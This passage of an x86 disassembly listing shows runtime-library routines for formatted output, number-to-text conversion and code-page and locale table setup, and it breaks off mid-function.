loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43CBC0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43CF50
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF5C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF54
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43CBC0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DCD84
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43CBD0


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43CCC0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2A70000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEA0
		cmp	[ebp+var_18], 1
		mov	dword_4DCD84, esi
		rep stosd
		stosb
		mov	dword_4DCFA4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DCEA1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEA0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43CBE0[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43CBC8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DCEA1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DCD9C, 1
		push	eax
		mov	dword_4DCD84, eax
		call	sub_42008C
		lea	esi, dword_43CBD4[esi]
		mov	edi, offset dword_4DCD90
		movsd
		movsd
		pop	ecx
		mov	dword_4DCFA4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DCEA1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DCFA4, eax
		mov	dword_4DCD9C, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DCD9C, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DCD90
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB9B0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB9B0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB9B0, 1
		nop
		jmp	near ptr 2800599h
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB9B0, 1
		jmp	near ptr 2A7075Dh
; ---------------------------------------------------------------------------
		dec	ebx


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB9F4
		mov	dword_4DB9B0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DCEA0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DCD90
		mov	dword_4DCD84, eax
		mov	dword_4DCD9C, eax
		mov	dword_4DCFA4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DCD84
		nop
		call	near ptr 2A70000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DCFA4
		push	dword_4DCD84
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DCD84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DCFA4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DCD84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DCFA4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DCEA1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DCDA0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DCEA1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DCDA0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DCEA1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DCDA0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DCEA1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
